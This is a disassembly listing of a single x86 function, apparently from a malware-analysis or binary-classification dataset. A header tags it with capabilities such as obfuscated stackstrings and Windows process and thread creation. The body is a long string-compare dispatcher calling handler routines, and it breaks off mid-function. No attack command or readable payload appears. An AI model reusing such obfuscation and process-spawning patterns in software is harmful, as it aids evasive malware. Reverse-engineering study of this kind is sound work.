Function at 0x51fdc0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x579af4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b7778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x34], esi
call fcn.00442920
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x51fe53
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fe23
sub ecx, dword [ebp - 0x24]
je 0x51fe53
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fe53
cmp dword [edx + 0x14], 0x10
jb 0x51fe3e
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fe5a
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fe8e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe84
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523729
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fea6
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x523711
mov edx, 0x5b7808
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x51fef1
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fec1
sub ecx, dword [ebp - 0x24]
je 0x51fef1
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fef1
cmp dword [edx + 0x14], 0x10
jb 0x51fedc
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fef8
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ff2c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ff22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52372e
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520531
mov edx, 0x5b77f0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x51ff81
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ff51
sub ecx, dword [ebp - 0x24]
je 0x51ff81
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ff81
cmp dword [edx + 0x14], 0x10
jb 0x51ff6c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ff88
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ffbc
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ffb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523733
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520070
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045c730
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523711
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520061
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523765
push ecx
push edx
call fcn.00546e91
add esp, 8
jmp 0x523711
mov edx, 0x5b7820
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5200c0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520090
sub ecx, dword [ebp - 0x24]
je 0x5200c0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5200c0
cmp dword [edx + 0x14], 0x10
jb 0x5200ab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5200c7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5200fb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5200f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523738
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5201af
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045c730
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523711
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5201a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523765
push ecx
push edx
call fcn.00546e91
add esp, 8
jmp 0x523711
mov edx, 0x5b7838
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520200
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5201d0
sub ecx, dword [ebp - 0x24]
je 0x520200
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520200
cmp dword [edx + 0x14], 0x10
jb 0x5201eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520207
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52023b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520231
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52373d
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520250
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041ba10
jmp 0x523711
mov edx, 0x5b7970
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5202a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520270
sub ecx, dword [ebp - 0x24]
je 0x5202a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5202a0
cmp dword [edx + 0x14], 0x10
jb 0x52028b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5202a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5202db
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5202d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523742
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520845
mov edx, 0x5b7988
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520330
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520300
sub ecx, dword [ebp - 0x24]
je 0x520330
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520330
cmp dword [edx + 0x14], 0x10
jb 0x52031b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520337
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52036b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520361
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523747
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5208e1
mov edx, 0x5b7a60
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5203c0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520390
sub ecx, dword [ebp - 0x24]
je 0x5203c0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5203c0
cmp dword [edx + 0x14], 0x10
jb 0x5203ab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5203c7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5203fb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5203f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52374c
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520981
mov edx, 0x5b7790
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520450
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520420
sub ecx, dword [ebp - 0x24]
je 0x520450
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520450
cmp dword [edx + 0x14], 0x10
jb 0x52043b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520457
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52048b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520481
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523751
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52049e
mov ecx, dword [esi + 0xc]
call fcn.0041c3e0
jmp 0x523711
mov edx, 0x5b7808
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5204f0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5204c0
sub ecx, dword [ebp - 0x24]
je 0x5204f0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5204f0
cmp dword [edx + 0x14], 0x10
jb 0x5204db
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5204f7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52052b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520521
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523756
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520540
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041ba10
jmp 0x523711
mov edx, 0x5b77f0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520590
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520560
sub ecx, dword [ebp - 0x24]
je 0x520590
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520590
cmp dword [edx + 0x14], 0x10
jb 0x52057b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520597
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5205cb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5205c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52375b
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52067f
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045c730
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523711
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523765
push ecx
push edx
call fcn.00546e91
add esp, 8
jmp 0x523711
mov edx, 0x5b7820
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5206d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5206a0
sub ecx, dword [ebp - 0x24]
je 0x5206d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5206d0
cmp dword [edx + 0x14], 0x10
jb 0x5206bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5206d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52070b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520701
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523760
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5207b9
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045c730
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523711
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523765
jmp 0x520670
mov edx, 0x5b7970
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520804
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5207d4
sub ecx, dword [ebp - 0x24]
je 0x520804
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520804
cmp dword [edx + 0x14], 0x10
jb 0x5207ef
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52080b
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52083f
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520835
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52376a
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520852
mov ecx, dword [esi + 0xc]
call fcn.00406860
jmp 0x523711
mov edx, 0x5b7988
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5208a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520870
sub ecx, dword [ebp - 0x24]
je 0x5208a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5208a0
cmp dword [edx + 0x14], 0x10
jb 0x52088b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5208a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5208db
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5208d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52376f
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5208ee
mov ecx, dword [esi + 0xc]
call fcn.00406b40
jmp 0x523711
mov edx, 0x5b7a60
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520940
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520910
sub ecx, dword [ebp - 0x24]
je 0x520940
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520940
cmp dword [edx + 0x14], 0x10
jb 0x52092b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520947
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52097b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520971
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523774
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52098e
mov ecx, dword [esi + 0xc]
call fcn.0041c820
jmp 0x523711
mov edx, 0x5b7850
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5209e0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5209b0
sub ecx, dword [ebp - 0x24]
je 0x5209e0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5209e0
cmp dword [edx + 0x14], 0x10
jb 0x5209cb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5209e7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520a1b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520a11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523779
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520a30
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407920
jmp 0x523711
mov edx, 0x5b7868
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520a80
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520a50
sub ecx, dword [ebp - 0x24]
je 0x520a80
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520a80
cmp dword [edx + 0x14], 0x10
jb 0x520a6b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520a87
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520abb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ab1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52377e
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520ad0
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407920
jmp 0x523711
mov edx, 0x5b7880
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520b1a
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520ae8
sub ecx, esi
je 0x520b1a
mov esi, dword [edx + 0x10]
test esi, esi
je 0x520b1a
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x520b05
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520b24
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520b58
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520b4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523783
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520c4b
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520b93
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523c20
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0054bf6d
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054d8ce
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x523788
cmp dword [edi], 0x22
je 0x523792
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407c00
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52379c
jmp 0x520670
mov edx, 0x5b7730
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520c9b
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c66
sub ecx, dword [ebp - 0x24]
je 0x520c9b
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520c9b
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520c86
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520ca2
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520cd6
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ccc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a1
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520de2
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520d11
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523c20
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00432480
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045f850
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a6
jmp 0x520670
mov edx, 0x5b7748
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520e35
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520e00
sub ecx, dword [ebp - 0x24]
je 0x520e35
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520e35
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520e20
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520e3c
